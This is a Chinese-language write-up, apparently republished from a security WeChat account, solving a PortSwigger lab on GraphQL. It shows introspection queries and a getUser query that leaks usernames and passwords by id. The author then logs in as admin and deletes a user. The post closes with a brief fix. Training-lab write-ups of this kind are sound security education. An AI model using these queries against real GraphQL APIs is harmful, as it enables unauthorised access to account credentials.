漏洞挖掘姿势-通过未被净化的参数获取账户密码

admin 2023年10月20日11:58:49评论20 views字数 2280阅读7分36秒阅读模式

前言

声明:这里是由零信任安全实验室组建的一个知识平台,平台有批量验证的脚本、工具以及一些漏洞的POC,后续还会分享网络安全资源(漏洞挖掘文章 工具 资讯以及SRC漏洞挖掘案例分享等等,资源多多,干货多多!
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者和本公众号无关。工具
来自网络,安全性自测。

      欢迎加入零信任攻防实验室的知识星球,星球免费!后续会抽奖送360定制周边礼品哈,敬请期待!平台有批量验证的脚本、工具以及一些漏洞的POC,和分享网络安全资源(漏洞挖掘文章 工具 资讯)  以及SRC漏洞挖掘的技巧分享等等,资源多多,干货多多!

漏洞挖掘姿势-通过未被净化的参数获取账户密码

作者:杳若



Portswigger练兵场之GraphQL API

GraphQL API-通过未被净化的参数获取账户密码

  1. Lab: Accidental exposure of private GraphQL fields

实验前置必要知识点

寻找关于GraphQL漏洞的时候,测试查询参数是否被净化是一个很好的起点,API使用参数直接访问对象,则可能容易受到访问控制漏洞的攻击。用户可以通过提供与该信息相对应的参数来访问他们不应该拥有的信息。这有时称为不安全的直接对象引用 (IDOR)

要发现架构信息,查询__schema字段,此字段在所有查询的根类型上可用。

  1. //例如

  2. #Introspection probe request

  3. {

  4. "query": "{__schema{queryType{name}}}"

  5. }

实验要求

  1. 该实验室的用户管理功能由GraphQL端点提供支持。该实验室包含一个访问控制漏洞,您可以通过该漏洞诱使API泄漏用户凭据字段。

  2. 若要解决实验室问题,请以管理员身份登录并删除carlos用户名

渗透开始

  • 访问对应靶场界面

    1. https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure

  • 启动靶场

    1. 站点分析

    这是博客类型的网站
    具有查看博客功能

漏洞挖掘姿势-通过未被净化的参数获取账户密码
以及登录的功能

漏洞挖掘姿势-通过未被净化的参数获取账户密码
点点点了博客,又尝试了一下登录的端点

漏洞挖掘姿势-通过未被净化的参数获取账户密码

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,该站点使用了GraphQL进行博客查看以及登录功能

漏洞挖掘姿势-通过未被净化的参数获取账户密码
因此,分析突破口在登录功能点

3. 功能点测试

将对应的日志信息发送到重放模块

漏洞挖掘姿势-通过未被净化的参数获取账户密码
尝试修改POST请求

  1. {"query":"n mutation login($input: LoginInput!) {n login(input: $input) {n tokenn successn }n }","operationName":"login","variables":{"input":{"username":"admin","password":"admin"}}}

改为查询根上内容

  1. {

  2. "query": "{__schema{queryType{name}}}"

  3. }

获得了根内容query

漏洞挖掘姿势-通过未被净化的参数获取账户密码
构造内容查询内部所有参数

  1. {

  2. "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"

  3. }

通过这种方法查询到了所有的参数

漏洞挖掘姿势-通过未被净化的参数获取账户密码
将内容发送到可视化工具

漏洞挖掘姿势-通过未被净化的参数获取账户密码
可以看见

漏洞挖掘姿势-通过未被净化的参数获取账户密码
说明存在关于getUser的查询,在非登陆处构造对应的查询语句

  1. {"query":"n query getUser($id: Int!) {n getUser(id: $id) {id n username n password }n }",

  2. "variables":{"id":2}}

发现可以查看到本文章的账户以及密码

漏洞挖掘姿势-通过未被净化的参数获取账户密码
修改id查询管理员用户的密码

漏洞挖掘姿势-通过未被净化的参数获取账户密码

4.删除用户完成试验

根据账号密码登录管理员用户

漏洞挖掘姿势-通过未被净化的参数获取账户密码
找到管理面板删除用户完成实验

漏洞挖掘姿势-通过未被净化的参数获取账户密码
实验完成

漏洞挖掘姿势-通过未被净化的参数获取账户密码

5.利用InQL工具

发送到对应工具可以很直观的发现

漏洞挖掘姿势-通过未被净化的参数获取账户密码
发送到重放模块可直接拿来利用

漏洞挖掘姿势-通过未被净化的参数获取账户密码

  1. {"query": "query {ntgetUser(id:1334) {nttpasswordnttidnttusernament}n}"}

修复方案

禁用查看内省的功能


原文始发于微信公众号(零信任攻防实验室):漏洞挖掘姿势-通过未被净化的参数获取账户密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月20日11:58:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘姿势-通过未被净化的参数获取账户密码http://cn-sec.com/archives/2129066.html

发表评论

匿名网友 填写信息